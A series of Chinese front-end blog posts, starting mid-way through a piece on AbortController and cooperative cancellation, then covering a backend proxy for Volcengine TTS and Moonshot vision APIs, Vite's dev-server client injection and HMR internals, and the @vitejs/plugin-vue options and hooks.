  • 避免竞态条件:没有抢占式中断的"任意点中断"问题,状态一致性更容易保证。
  • 简化并发模型:单线程 + 事件循环使得取消信号的传播路径清晰可预测。

5.3 对比其他语言的设计选择

不同语言的中断机制设计反映了它们的运行时特性:

语言 运行时模型 取消机制 设计选择
JavaScript 单线程 + 事件循环 AbortController 事件驱动,协作式
Go M:N 协程调度 context.Context Channel 驱动,协作式
C# 线程池 + Task CancellationToken 轮询 + 回调,协作式
Java OS 线程 Future.cancel() + 中断 混合式(协作为主)
Kotlin 协程(挂起/恢复) Job.cancel() 挂起点检查,协作式
Rust 异步 Future + 轮询 Drop 语义 所有权驱动,协作式
Python 事件循环 + 协程 Task.cancel() 异常驱动,协作式

核心点

所有现代语言都选择了协作式取消,这不是偶然,而是对资源安全和状态一致性的共同追求。不同语言的实现方式反映了它们的核心抽象模型

  • JavaScript 的 EventTarget → 事件驱动
  • Go 的 Channel → 通信顺序进程(CSP)
  • Rust 的 Ownership → 编译时安全
  • Kotlin 的 Structured Concurrency → 父子作用域

结论

AbortController 不仅是一个 API,更是 JavaScript 异步编程哲学的集中体现。它的设计遵循了以下核心思想:

  1. 协作优于强制:通过信号机制让任务自主决定如何响应取消,保证资源安全和状态一致性。

  2. 分离优于耦合:控制器与信号的分离使得取消逻辑可以灵活组合和传播。

  3. 事件驱动优于轮询:利用 JavaScript 的事件循环机制,实现即时、可靠的信号传播。

  4. 组合优于继承AbortSignal.any() 等组合操作使得复杂的取消策略可以用简单的原语构建。

跨语言对比揭示了一个行业共识:协作式取消是现代异步编程的最佳实践。无论是 Go 的 Context、C# 的 CancellationToken、Kotlin 的协程取消,还是 Rust 的 Drop 语义,都在用各自语言的核心抽象表达同一个理念——让取消成为一等公民,但绝不以牺牲安全为代价

理解 AbortController 的底层原理,不仅能帮助我们写出更健壮的异步代码,更能让我们洞察语言设计背后的深层思考:好的设计不是增加复杂性,而是在约束条件下找到最优雅的解决方案

语音合成与视觉模型api接入实现

语音合成与视觉模型api接入实现

读完这篇,你应能按步骤复现本仓库里的两条能力:火山豆包语音 TTS(文本 → 音频)与 Moonshot 视觉理解(图 + 文 → 描述)。代码已在仓库中落地,本文侧重为什么要这样拆、先写哪一层、再拼哪一层,方便你搬到自己的项目里。

多模态业务里,「语音」和「看图说话」常来自不同厂商、不同鉴权方式;浏览器又不能随便塞 Secret。做法是:单页只负责表单与展示本机 server.js 当 BFF.env.local、带齐 Header、转发到官方域名。下面按推荐实现顺序写。


你将得到什么

能力 页面 代理路径 上游
语音合成 index-volc-tts.html POST /tts/api/v1/tts openspeech.bytedance.com/api/v1/tts
视觉理解 index-moonshot-vision.html POST /moonshot/v1/chat/completions api.moonshot.cn/v1/chat/completions

效果图:

volc-tts.gif

moon.gif


第 0 步:先画清楚「三层」

无论做哪一条链路,都可以抽象成同一副骨架:

  1. 浏览器:只认识 http://127.0.0.1:3000(或你的代理地址),用 fetch 发 JSON,不出现厂商密钥
  2. server.js:读 .env.local,补鉴权(Header 或 body 里的 app),fetch 到真实上游,把状态码和 body 原样或略加工返回给浏览器。
  3. 厂商 API:校验通过后返回 JSON(TTS 里是 base64 音频;Chat 里是 choices[0].message.content)。
flowchart LR
  subgraph browser["浏览器单页"]
    A[表单 / 选图]
    B[fetch 本地路径]
  end
  subgraph bff["server.js"]
    C[读环境变量]
    D[拼上游 URL + Header]
  end
  subgraph upstream["厂商 HTTPS"]
    E[(openspeech / Moonshot)]
  end
  A --> B --> C --> D --> E
  E --> D --> B

实现顺序建议:先能用 curl 或最小脚本从本机打到上游(验证密钥与路径),再写 BFF 路由,最后写 Vue 单页把体验补齐。本仓库把后两步都写好了,你可以对照 server.js 里的 proxyVolcengineTtsproxyMoonshotRequest 逆序读回去。


第 1 步:准备账号与密钥(两条线各自一次)

火山(语音)

火山引擎语音活动/实名控制台创建应用,拿到 AppIDAccess Token(测试 Token 常有有效期,过期要重新复制)。HTTP 一次性合成文档见 豆包语音 · HTTP 非流式。请求体里的 app.cluster 在常见在线 TTS 场景下为 volcano_tts(若你开通的是其它产品线,以控制台绑定的文档为准)。

Moonshot(视觉)

Moonshot 开放平台 注册,在 API Keys 创建 sk-...。视觉走 OpenAI 兼容的 /v1/chat/completionsmessagescontent 可为数组:type: image_urlurl 可用 Data URL)+ type: textmodel 须选支持视觉的型号(如 moonshot-v1-8k-vision-preview),以 官方 Chat 文档 为准。


第 2 步:在 server.js 接通路(先后端,再前端)

2.1 为什么要单独路由,而不是让浏览器直连?

  • 密钥:火山 Token、Moonshot API Key 不能进前端仓库与打包产物。
  • Header 细节:火山 TTS 要求 Authorization: Bearer;token(分号);Moonshot 是常见的 Bearer <空格>token。写进 BFF 可避免前端写错格式。
  • 路径前缀:本仓库用 /tts/.../moonshot/v1/... 作为「入口命名空间」,与仓库里可灵 /kling 并列,便于在 createServer 里分支维护。

2.2 火山:proxyVolcengineTts 在做什么(实现要点)

  1. 只处理 POST /tts/api/v1/tts(与前端约定死,避免误打到别的服务)。
  2. JSON.parse 请求体后,强制写入 parsed.app = { appid, token, cluster }(来自环境变量),这样即使浏览器带了假 app 也会被覆盖。
  3. 若缺 request.reqid,服务端用 crypto.randomUUID() 补上,满足「每次合成唯一」。
  4. 向上游 POST https://openspeech.bytedance.com/api/v1/tts(可用 VOLCENGINE_TTS_ORIGIN 覆盖域名),带上 Bearer; 头,把上游响应 原样写回(状态码 + Content-Type + body)。

环境变量示例(.env.local勿提交):

VOLCENGINE_TTS_APP_ID=你的AppId
VOLCENGINE_TTS_ACCESS_TOKEN=你的AccessToken
VOLCENGINE_TTS_CLUSTER_ID=volcano_tts

也支持 VITE_APP_ID / VITE_ACCESS_TOKEN / VITE_CLUSTER_ID。启动后看控制台 [Volc TTS] 已配置…

2.3 Moonshot:proxyMoonshotRequest 在做什么

  1. 匹配 /moonshot 前缀,剥掉后剩余路径必须以 /v1/ 开头且无 ..,防止开放代理被滥用。
  2. MOONSHOT_API_ORIGIN + restPath,默认 https://api.moonshot.cn
  3. 请求头 Authorization: Bearer ${MOONSHOT_API_KEY},body 透传(密钥不在 body 里)。
MOONSHOT_API_KEY=sk-你的密钥

也可用 VITE_API_KEY / API_KEY。日志里 [Moonshot] 已配置… 表示就绪。


第 3 步:写 index-volc-tts.html(从文本到能播的音频)

目标:用户输入文案 → 点按钮 → 听到合成声。

  1. 技术栈:一个 HTML 里 <script type="module">,从 unpkg 引入 Vue 3 ESM;需要 npx serve . 这类静态服务,避免 file:// 下模块加载失败。
  2. 代理根 proxyBase:所有请求都是 base + '/tts/api/v1/tts',与第 2 步里服务端路由一致;成功请求前写入 localStorage,下次打开少输一次地址。
  3. 请求体:只组 user / audio / request不要在浏览器写 app(交给服务端合并)。
  4. reqid:在浏览器生成 UUID,减少与服务端补全的竞态,也符合文档习惯。
  5. 解析返回:JSON 里 data 是纯 base64;用 atobUint8ArrayBlob,MIME 用 mimeForEncoding(encoding)mp3audio/mpegogg_opusaudio/ogg),否则容易「有数据但播不出」。
  6. 播放与内存URL.createObjectURL 赋给 <audio>;每次合成前 revokeObjectURL 旧地址,组件卸载时再清一次,避免泄漏。

跑通检查清单:node server.jsnpx serve . → 打开 index-volc-tts.html → 代理填 http://127.0.0.1:3000 → 点 Generate & Play → 听到声音。更多字段以火山文档为准;仓库交叉索引:README.md


第 4 步:写 index-moonshot-vision.html(从本地图片到模型回复)

目标:选一张图 + 一句问法 → 看到模型对图的描述。

  1. 读文件<input type="file"> + FileReader.readAsDataURL,得到 data:image/...;base64,...,同时用于 <img :src> 预览请求体(一份数据两处用,避免双份状态)。
  2. isValid:用 computed 判断是否已选图,禁用「提交」,减少空请求。
  3. 请求 URLbase + '/moonshot/v1/chat/completions',对应第 2.3 步的代理前缀。
  4. 请求体stream: falsemessages[0].content 为数组,先图后文(与多模态习惯一致);model 可做成输入框便于换型号线。
  5. 解析:取 choices[0].message.content;HTTP 错误或结构不对时,把截断的 JSON 塞进 Error 文案,便于对照上游 error 字段排错。
  6. 大图:Data URL 会线性撑大 POST body,易触发超时或网关限制——产品上要引导压图或走对象存储 URL,本示例先文档化约束。

跑通检查清单:.env.local 配好 Moonshot Key → node server.js → 打开 index-moonshot-vision.html → 选图 → 提交 → 看到文字回复。


第 5 步:单页内部的共通套路(和 server.js 怎么分工)

环节 单页负责 server.js 负责
密钥 不出现 .env.local,向上游带正确 Header / 火山 app
URL proxyBase + 固定相对路径 拼官方 origin + /api/v1/tts/v1/...
业务 JSON 文案、音色、encoding、图片 Data URL、model 火山:覆盖 app;Moonshot:透传 body
错误展示 try/catch、HTTP 状态、关键字段校验 上游非 2xx 时透传 status + body

一句话:单页只做 「表单 → JSON → fetch → 解析 → UI」;BFF 只做 「鉴权 + 合法路径 + 转发」

index-volc-tts.html 再抠两点

  • status / error:把「进行中 / 成功 / 失败」从控制台搬到页面上,demo 才像产品。
  • await audio.play():若浏览器拦截自动播放,用户仍可通过 controls 手动点播放。

index-moonshot-vision.html 再抠两点

  • OpenAI 兼容content数组是多模态与纯文本混排的关键形状,顺序影响模型「先看到什么」。
  • 与火山的 Header 差异:火山是 Bearer;,Moonshot 是 Bearer ——写博客或接其它厂商时务必按文档逐字核对,不要想当然混用。

排错与扩展

  • 火山 401 / 鉴权失败:核对 Token 是否过期、Authorization 是否为 Bearer;、cluster 是否为 volcano_tts(或文档要求值)。
  • Moonshot 4xx:Key 是否有效、模型是否支持视觉、图片是否过大。
  • .env.local:务必重启 node server.js
  • 扩展:TTS 若改流式要换协议;视觉若改流式要解析 SSE / chunk,单页复杂度会明显高于本文的非流式示例。

相关文件(按阅读顺序)

  1. server.js — 搜 proxyVolcengineTtsproxyMoonshotRequest
  2. index-volc-tts.htmlindex-moonshot-vision.html
  3. README.md — 环境变量与接口总表

若你还想对照「文生图 + 异步轮询」的另一条 BFF 链路,可继续读 image-model.md 里的 index-keling.html 思路(与本篇的「一次 POST 即返回」形态不同)。

Vite 开发服务器启动时,如何将 client 注入 HTML?

当执行 vite 命令启动开发服务器,并在浏览器中打开 http://localhost:5173 时,页面会神奇地具备热模块替换(HMR)能力。这一切的起点,就是 Vite 在返回的 HTML 中悄悄注入了一个特殊的脚本:/@vite/client。这个脚本负责建立 WebSocket 连接、监听文件变化并触发模块热更新。

整体流程概览

Vite 将 client 注入 HTML 的过程可以概括为以下几个步骤:

  1. 服务器启动:创建 Vite 开发服务器,初始化插件容器。
  2. 注册插件:内置插件被激活。
  3. 请求拦截:浏览器请求 index.html,Vite 的 HTML 中间件接管。
  4. HTML 转换:调用所有插件的 transformIndexHtml 钩子。
  5. 注入标签clientInjectionsPlugin 在 transformIndexHtml 中返回需要注入的 script 标签。
  6. 模块解析:浏览器解析 HTML 后请求 /@vite/client,经过 resolveId 和 load 钩子返回实际代码。
  7. 代码转换:client 源码中的占位符被替换为当前服务器的实际配置(如 HMR 端口、base 路径等)。
  8. 客户端执行:浏览器执行 client 代码,建立 WebSocket 连接,HMR 就绪。

启动服务器到 client 在浏览器中运行的全过程

image.png

clientInjectionsPlugin

负责在客户端代码中注入配置值和环境变量,确保客户端代码能够正确访问 Vite 配置和环境信息,特别是热模块替换 (HMR) 相关的配置。

客户端核心入口:处理 /@vite/client 和 /@vite/env 文件,先注入配置值,再替换 define 变量。

image.png

buildStart钩子

image.png

image.png

vite/packages/vite/src/node/plugins/clientInjections.ts

function clientInjectionsPlugin(config: ResolvedConfig): Plugin {
  // 存储配置值替换函数,在 buildStart 钩子中初始化
  let injectConfigValues: (code: string) => string

  // 返回一个函数,每个构建环境(如 client 和 ssr)分别创建 define 替换函数
  const getDefineReplacer = perEnvironmentState((environment) => {

    const userDefine: Record<string, any> = {}

    for (const key in environment.config.define) {
      // import.meta.env.* is handled in `importAnalysis` plugin
      // 过滤掉 import.meta.env.* 前缀的变量(这些由 importAnalysis 插件处理
      if (!key.startsWith('import.meta.env.')) {
        userDefine[key] = environment.config.define[key]
      }
    }
    const serializedDefines = serializeDefine(userDefine)
    const definesReplacement = () => serializedDefines
    return (code: string) => code.replace(`__DEFINES__`, definesReplacement)
  })

  return {
    name: 'vite:client-inject',
    // 初始化插件,在 buildStart 钩子中创建配置值替换函数
    async buildStart() {

      // 生成一个函数
      // 用于接收客户端源码字符串,将其中的占位符(如 __BASE__、__HMR_PORT__、__MODE__ 等)替换为实际的值
      injectConfigValues = await createClientConfigValueReplacer(config)
    },
    // 转换客户端代码,注入配置值和环境变量
    async transform(code, id) {
      const ssr = this.environment.config.consumer === 'server'
      const cleanId = cleanUrl(id)

      // 客户端核心入口:/@vite/client 和 /@vite/env
      if (cleanId === normalizedClientEntry || cleanId === normalizedEnvEntry) {
        const defineReplacer = getDefineReplacer(this)
        return defineReplacer(injectConfigValues(code))

        // 其他文件中的 process.env.NODE_ENV 替换
      } else if (!ssr && code.includes('process.env.NODE_ENV')) {
        // replace process.env.NODE_ENV instead of defining a global
        // for it to avoid shimming a `process` object during dev,
        // avoiding inconsistencies between dev and build
        const nodeEnv =
        // 优先使用用户定义的值
          this.environment.config.define?.['process.env.NODE_ENV'] ||
          // 回退到系统环境变量
          // 最终回退到 Vite 模式
          JSON.stringify(process.env.NODE_ENV || config.mode)

        return await replaceDefine(this.environment, code, id, {
          'process.env.NODE_ENV': nodeEnv,
          'global.process.env.NODE_ENV': nodeEnv,
          'globalThis.process.env.NODE_ENV': nodeEnv,
        })
      }
    },
  }
}
function perEnvironmentState<State>(
  initial: (environment: Environment) => State,
): (context: PluginContext) => State {

  const stateMap = new WeakMap<Environment, State>()

  return function (context: PluginContext) {
    const { environment } = context
    // 尝试从 stateMap 中获取当前环境的状
    let state = stateMap.get(environment)
    if (!state) {
      // 调用 initial 函数初始化状态,并将其存储到 stateMap 中
      state = initial(environment)
      stateMap.set(environment, state)
    }
    return state
  }
}

indexHtmlMiddleware 中间件

当浏览器请求 index.html 时,Vite 开发服务器会通过中间件(packages/vite/src/node/server/middlewares/html.ts)处理。

  1. 请求拦截与过滤
  2. 完整打包模式(Full Bundle Dev Environment) 或 普通文件系统模式
  3. 通过 send 发送返回 HTML。

image.png

image.png

image.png

image.png

image.png

全量环境

  1. 文档类请求的 SPA 回退:若请求头的 sec-fetch-dest 为 documentiframe 等类型,并且满足以下任一条件:
    (1)当前 bundle 已过时,会重新生成 bundle);
    (2)或者文件原本不存在(file === undefined);则调用 generateFallbackHtml(server) 生成一个默认的 index.html 作为文件内容。

  2. 最终将文件内容(字符串或 Buffer)通过 send 返回,并携带 etag 用于缓存。

  if (fullBundleEnv) {
    const pathname = decodeURIComponent(url)
    // 打包根目录的文件路径 index.html
    const filePath = pathname.slice(1) // remove first /

    let file = fullBundleEnv.memoryFiles.get(filePath)
    if (!file && fullBundleEnv.memoryFiles.size !== 0) {
      return next()
    }
    const secFetchDest = req.headers['sec-fetch-dest']
    // 处理文档类请求(SPA 回退)
    if (
      [
        'document',
        'iframe',
        'frame',
        'fencedframe',
        '',
        undefined,
      ].includes(secFetchDest) &&
      // 检查当前 bundle 是否过期
      ((await fullBundleEnv.triggerBundleRegenerationIfStale()) ||
        file === undefined)
    ) {
      // 生成一个 fallback HTML 作为文件内容
      // 生成一个默认的 HTML 入口
      file = { source: await generateFallbackHtml(server as ViteDevServer) }
    }
    if (!file) {
      return next()
    }

    const html =
      typeof file.source === 'string'
        ? file.source
        : Buffer.from(file.source)
    const headers = isDev
      ? server.config.server.headers
      : server.config.preview.headers
    return send(req, res, html, 'html', { headers, etag: file.etag })
  }

image.png

image.png

发送

image.png

async function getHmrImplementation(
  config: ResolvedConfig,
): Promise<string> {

  // 读取client脚本文件
  const content = fs.readFileSync(normalizedClientEntry, 'utf-8')
  const replacer = await createClientConfigValueReplacer(config)
  return (
    replacer(content)
      // the rolldown runtime cannot import a module
      .replace(/import\s*['"]@vite\/env['"]/, '')
  )
}

image.png

image.png

 async function importUpdatedModule({
    url, // 补丁文件的 URL,例如 "/hmr_patch_0.js"
    acceptedPath, // 需要热更新的模块路径
    isWithinCircularImport,
  }) {
    const importPromise = import(base + url!).then(() =>
      // 从 Rolldown 运行时中提取模块的导出
      // @ts-expect-error globalThis.__rolldown_runtime__
      globalThis.__rolldown_runtime__.loadExports(acceptedPath),
    )
    if (isWithinCircularImport) {
      importPromise.catch(() => {
        console.info(
          `[hmr] ${acceptedPath} failed to apply HMR as it's within a circular import. Reloading page to reset the execution order. ` +
            `To debug and break the circular import, you can run \`vite --debug hmr\` to log the circular dependency path if a file change triggered it.`,
        )
        pageReload()
      })
    }
    return await importPromise
}

【示例】修改文件,client 的 websocket 收到更新

{
    "type": "update",
    "updates": [
        {
            "type": "js-update",
            "url": "hmr_patch_0.js",
            "path": "src/pages/home/index.vue",
            "acceptedPath": "src/pages/home/index.vue",
            "timestamp": 1775992132341
        }
    ]
}

image.png

image.png

【示例】修改样式变量文件

浏览器客户端收到websocket消息,会加载补丁文件。

{
    "type": "update",
    "updates": [
        {
            "type": "js-update",
            "url": "hmr_patch_3.js",
            "path": "src/pages/home/index@logs.vue?vue&type=style&index=0&scoped=9217440f&lang.less",
            "acceptedPath": "src/pages/home/index@logs.vue?vue&type=style&index=0&scoped=9217440f&lang.less",
            "timestamp": 1775994912031
        },
        {
            "type": "js-update",
            "url": "hmr_patch_3.js",
            "path": "src/pages/home.vue?vue&type=style&index=0&scoped=f940dfa7&lang.less",
            "acceptedPath": "src/pages/home.vue?vue&type=style&index=0&scoped=f940dfa7&lang.less",
            "timestamp": 1775994912031
        },
        {
            "type": "js-update",
            "url": "hmr_patch_3.js",
            "path": "src/pages/home/index.vue?vue&type=style&index=0&scoped=2c5296db&lang.less",
            "acceptedPath": "src/pages/home/index.vue?vue&type=style&index=0&scoped=2c5296db&lang.less",
            "timestamp": 1775994912031
        }
    ]
}

浏览器端成功加载一个模块(包括动态 import())后,客户端会主动发送 vite:module-loaded 事件。

{
    "type": "custom",
    "event": "vite:module-loaded",
    "data": {
        "modules": [
            "src/pages/home/index@logs.vue?vue&type=style&index=0&scoped=9217440f&lang.less",
            "src/pages/home.vue?vue&type=style&index=0&scoped=f940dfa7&lang.less",
            "src/pages/home/index.vue?vue&type=style&index=0&scoped=2c5296db&lang.less"
        ]
    }
}

服务器接收到该事件,提取出本次加载的模块列表(payload.modules),并将其注册到开发引擎(devEngine)中,关联到当前客户端 ID。

this.hot.on('vite:client:disconnect', (_payload, client) => {
  const clientId = this.clients.delete(client)
  if (clientId) {
    this.devEngine.removeClient(clientId)
  }
})

普通文件模式

  1. 解析请求的文件路径
  2. 开发模式下的访问权限检查
  3. 读取 HTML 文件并进行转换,最终通过 send 返回 HTML。
  // 根据请求 URL 确定 HTML 文件的实际文件系统路径
  let filePath: string

  // 如果是开发服务器且 URL 以 FS_PREFIX 开头(表示直接访问文件系统路径)
  if (isDev && url.startsWith(FS_PREFIX)) {
    filePath = decodeURIComponent(fsPathFromId(url))
  } else {
    // 将 URL 与服务器根目录连接,解析为绝对路径
    filePath = normalizePath(
      path.resolve(path.join(root, decodeURIComponent(url))),
    )
  }

  if (isDev) {
    const servingAccessResult = checkLoadingAccess(server.config, filePath)
    // 如果路径被拒绝访问,返回 403 错误
    if (servingAccessResult === 'denied') {
      return respondWithAccessDenied(filePath, server, res)
    }
    // 
    if (servingAccessResult === 'fallback') {
      return next()
    }
    // 确保路径被允许访问
    servingAccessResult satisfies 'allowed'
  } else {
    // `server.fs` options does not apply to the preview server.
    // But we should disallow serving files outside the output directory.
    if (!isParentDirectory(root, filePath)) {
      return next()
    }
  }

  if (fs.existsSync(filePath)) {
    const headers = isDev
      ? server.config.server.headers
      : server.config.preview.headers

    try {
      // 读取 HTML 文件内容
      let html = await fsp.readFile(filePath, 'utf-8')
      if (isDev) {
        // 开发环境下,对 HTML 进行转换
        html = await server.transformIndexHtml(url, html, req.originalUrl)
      }
      // 发送 HTML 内容
      // 这里使用 send() 方法,而不是 res.end(),因为它会自动处理响应头和编码
      return send(req, res, html, 'html', { headers })
    } catch (e) {
      return next(e)
    }
  }

image.png

执行中间件

image.png

image.png

读取html文件内容

image.png

server.transformIndexHtml 其实就是执行 applyHtmlTransforms,之前中间件已经处理 createDevHtmlTransformFn

createDevHtmlTransformFn

  1. plugin.transformIndexHtml 获取具有 transformIndexHtml 钩子的插件,排序。
  2. 构建转换钩子管道,在 applyHtmlTransforms 中按顺序执行。
  3. applyHtmlTransforms 根据插件钩子,生成相关 tag 注入 html 中。

vite/packages/vite/src/node/server/middlewares/indexHtml.ts

function createDevHtmlTransformFn(
  config: ResolvedConfig,
): (
  server: ViteDevServer,
  url: string,
  html: string,
  originalUrl?: string,
) => Promise<string> {

  // 从配置的插件中解析出 HTML 转换钩子
  const [preHooks, normalHooks, postHooks] = resolveHtmlTransforms(
    config.plugins,
  )

  // 构建转换钩子管道
  const transformHooks = [
    preImportMapHook(config), // 处理导入映射的前置钩子
    injectCspNonceMetaTagHook(config), // 注入 CSP nonce 元标签
    ...preHooks,
    htmlEnvHook(config), // 注入环境变量到 HTML 中
    devHtmlHook, // 开发环境特定的 HTML 转换
    ...normalHooks,
    ...postHooks,
    injectNonceAttributeTagHook(config), // 注入 nonce 属性到标签中
    postImportMapHook(), // 处理导入映射的后置钩子
  ]

  // 创建插件上下文
  const pluginContext = new BasicMinimalPluginContext(
    { ...basePluginContextMeta, watchMode: true },
    config.logger,
  )
  return (
    server: ViteDevServer,
    url: string,
    html: string,
    originalUrl?: string,
  ): Promise<string> => {

    // 将所有转换钩子应用到 HTML 内容上
    return applyHtmlTransforms(html, transformHooks, pluginContext, {
      path: url,
      filename: getHtmlFilename(url, server),
      server,
      originalUrl,
    })
  }
}

traverseHtml

server.transformIndexHtml 对html进行转换 ——> createDevHtmlTransformFn confige 解析阶段收集了插件transformIndexHtml钩子 ——〉applyHtmlTransforms 执行上述收集的hook.handler——> injectToHead 将标签插入头部

收集所有插件的 transformIndexHtml 钩子返回的修改(可能是 HTML 字符串的替换,或者要插入的标签数组),然后将其应用到原始 HTML 上。

  const transformHooks = [
    preImportMapHook(config), // 处理导入映射的前置钩子
    injectCspNonceMetaTagHook(config), // 注入 CSP nonce 元标签
    ...preHooks,
    htmlEnvHook(config), // 注入环境变量到 HTML 中
    devHtmlHook, // 开发环境特定的 HTML 转换
    ...normalHooks,
    ...postHooks,
    injectNonceAttributeTagHook(config), // 注入 nonce 属性到标签中
    postImportMapHook(), // 处理导入映射的后置钩子
  ]

【示例】执行devHtmlTransformFn

image.png

【示例】执行 htmlEnvHook

image.png

【示例】 devHtmlHook

image.png

image.png

image.png

处理 html 节点

image.png

处理head节点

image.png

处理 meta 节点

image.png

处理 link 节点

image.png

applyHtmlTransforms

image.png

injectToHead

image.png

vite/packages/vite/src/node/plugins/html.ts

async function applyHtmlTransforms(
  html: string,
  hooks: IndexHtmlTransformHook[],
  pluginContext: MinimalPluginContextWithoutEnvironment,
  ctx: IndexHtmlTransformContext,
): Promise<string> {
  for (const hook of hooks) {
    const res = await hook.call(pluginContext, html, ctx)
    if (!res) {
      continue
    }
    if (typeof res === 'string') {
      html = res
    } else {
      let tags: HtmlTagDescriptor[]
      if (Array.isArray(res)) {
        tags = res
      } else {
        html = res.html || html
        tags = res.tags
      }

      let headTags: HtmlTagDescriptor[] | undefined
      let headPrependTags: HtmlTagDescriptor[] | undefined
      let bodyTags: HtmlTagDescriptor[] | undefined
      let bodyPrependTags: HtmlTagDescriptor[] | undefined

      for (const tag of tags) {
        switch (tag.injectTo) {
          case 'body':
            ;(bodyTags ??= []).push(tag)
            break
          case 'body-prepend':
            ;(bodyPrependTags ??= []).push(tag)
            break
          case 'head':
            ;(headTags ??= []).push(tag)
            break
          default:
            ;(headPrependTags ??= []).push(tag)
        }
      }
      headTagInsertCheck([...(headTags || []), ...(headPrependTags || [])], ctx)
      if (headPrependTags) html = injectToHead(html, headPrependTags, true)
      if (headTags) html = injectToHead(html, headTags)
      if (bodyPrependTags) html = injectToBody(html, bodyPrependTags, true)
      if (bodyTags) html = injectToBody(html, bodyTags)
    }
  }

  return html
}

vite 插件 @vitejs/plugin-vue

@vitejs/plugin-vue 是 Vite 官方提供的 Vue 3 单文件组件(SFC)支持插件,它负责将 .vue 文件转换为浏览器可执行的 JavaScript 模块。

Vue3项目使用 @vitejs/plugin-vue插件

import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'

export default defineConfig({
  plugins: [
    vue({
      
    }),
    // vueJsx(),
    // vueDevTools(),
  ],
})

参数选项有哪些?

interface Options {
  // 指定哪些文件需要被插件转换
  include?: string | RegExp | (string | RegExp)[]
  // 指定哪些文件不需要被插件转换
  exclude?: string | RegExp | (string | RegExp)[]

  /**
   * In Vite, this option follows Vite's config.
   */
  isProduction?: boolean

  // options to pass on to vue/compiler-sfc
  // 传递给 @vue/compiler-sfc 中 compileScript 的选项
  script?: Partial<
    Omit<
      SFCScriptCompileOptions,
      | 'id'
      | 'isProd'
      | 'inlineTemplate'
      | 'templateOptions'
      | 'sourceMap'
      | 'genDefaultAs'
      | 'customElement'
      | 'defineModel'
      | 'propsDestructure'
    >
  > & {
    /**
     * @deprecated defineModel is now a stable feature and always enabled if
     * using Vue 3.4 or above.
     */
    defineModel?: boolean
    /**
     * @deprecated moved to `features.propsDestructure`.
     */
    propsDestructure?: boolean
  }

  // 传递给 @vue/compiler-sfc 中 compileTemplate 的选项
  template?: Partial<
    Omit<
      SFCTemplateCompileOptions,
      | 'id'
      | 'source'
      | 'ast'
      | 'filename'
      | 'scoped'
      | 'slotted'
      | 'isProd'
      | 'inMap'
      | 'ssr'
      | 'ssrCssVars'
      | 'preprocessLang'
    >
  >
  // 传递给 @vue/compiler-sfc 中 compileStyle 的选项
  style?: Partial<
    Omit<
      SFCStyleCompileOptions,
      | 'filename'
      | 'id'
      | 'isProd'
      | 'source'
      | 'scoped'
      | 'cssDevSourcemap'
      | 'postcssOptions'
      | 'map'
      | 'postcssPlugins'
      | 'preprocessCustomRequire'
      | 'preprocessLang'
      | 'preprocessOptions'
    >
  >

  /**
   * Use custom compiler-sfc instance. Can be used to force a specific version.
   */
  compiler?: typeof _compiler

  /**
   * Requires @vitejs/plugin-vue@^5.1.0
   */
  features?: {
    /**
     * Enable reactive destructure for `defineProps`.
     * - Available in Vue 3.4 and later.
     * - **default:** `false` in Vue 3.4 (**experimental**), `true` in Vue 3.5+
     * 启动后,`defineProps` 中的响应式解构将支持 Vue 3.4 中的语法。
     */
    propsDestructure?: boolean
    /**
     * Transform Vue SFCs into custom elements.
     * - `true`: all `*.vue` imports are converted into custom elements
     * - `string | RegExp`: matched files are converted into custom elements
     * - **default:** /\.ce\.vue$/
     * 启动后,所有匹配的文件都将被转换为自定义元素。
     */
    customElement?: boolean | string | RegExp | (string | RegExp)[]
    /**
     * Set to `false` to disable Options API support and allow related code in
     * Vue core to be dropped via dead-code elimination in production builds,
     * resulting in smaller bundles.
     * - **default:** `true`
     * 启动后,Vue 核心代码中的 Options API 将被移除,从而减小 bundle 大小。
     */
    optionsAPI?: boolean
    /**
     * Set to `true` to enable devtools support in production builds.
     * Results in slightly larger bundles.
     * - **default:** `false`
     * 启动后,生产环境下的 devtools 将被启用,从而增加 bundle 大小。
     */
    prodDevtools?: boolean
    /**
     * Set to `true` to enable detailed information for hydration mismatch
     * errors in production builds. Results in slightly larger bundles.
     * - **default:** `false`
     * 启动后,生产环境下的 hydration mismatch 错误将包含详细的调试信息,从而增加 bundle 大小。
     */
    prodHydrationMismatchDetails?: boolean
    /**
     * Customize the component ID generation strategy.
     * - `'filepath'`: hash the file path (relative to the project root)
     * - `'filepath-source'`: hash the file path and the source code
     * - `function`: custom function that takes the file path, source code,
     *   whether in production mode, and the default hash function as arguments
     * - **default:** `'filepath'` in development, `'filepath-source'` in production
     * 启动后,组件 ID 将根据文件路径和源代码进行哈希处理,从而增加 bundle 大小。
     */
    componentIdGenerator?:
      | 'filepath'
      | 'filepath-source'
      | ((
          filepath: string,
          source: string,
          isProduction: boolean | undefined,
          getHash: (text: string) => string,
        ) => string)
  }

  /**
   * @deprecated moved to `features.customElement`.
   * 已废弃,移至 feature中
   */
  customElement?: boolean | string | RegExp | (string | RegExp)[]
}

SFC 编译流程

当 Vite 遇到一个 .vue 文件时,插件会执行以下编译流程:

  1. 解析 SFC:使用 @vue/compiler-sfc 将 .vue 文件解析为 descriptor 对象,其中包含 templatescriptstyle 等部分的解析结果
  2. 脚本编译:处理 <script> 块,包括 <script setup> 语法糖和 TypeScript 支持
  3. 模板编译:将 <template> 块编译为 render 函数
  4. 样式处理:处理 <style> 块,包括 CSS 预处理器的支持

生命周期

@vitejs/plugin-vue 中钩子执行顺序遵循 Vite 插件生命周期,分为服务器启动/构建准备阶段模块请求处理阶段

配置阶段(一次)

  • config:最早执行,用于修改 Vite 配置。
  • configResolved:配置解析完成后调用,可获取最终配置。
  • options:Rollup 选项钩子,在构建开始前修改输入选项(较少用)。

服务器启动 / 构建开始

  • 开发模式configureServer 在开发服务器创建时调用,用于添加中间件。
  • 生产构建buildStart 在构建开始时调用。

模块请求处理(每次请求/每个文件)

  • resolveId:解析模块 ID(将路径转换为绝对路径或虚拟 ID)。
  • load:加载模块内容(读取文件或生成源码)。
  • shouldTransformCachedModule(Rollup 钩子):决定是否使用缓存转换结果(在 load 后、transform 前调用,仅构建时)。
  • transform:转换模块内容(核心编译逻辑,例如将 .vue 文件转为 JS)。

image.png

transform 钩子

transform 钩子是整个插件的核心编译入口,它的职责是拦截 .vue 文件或相关子模块的请求,根据请求参数的不同,调用相应的编译函数,将 SFC 转换为浏览器可执行的 JavaScript 代码。

handler 接收的参数

  • code vue 文件源码
  • id 文件在系统的绝对路径
  • opt 配置项

image.png

image.png

 主请求(!query.vue

这是浏览器或构建工具直接请求 .vue 文件(例如 import App from './App.vue')。

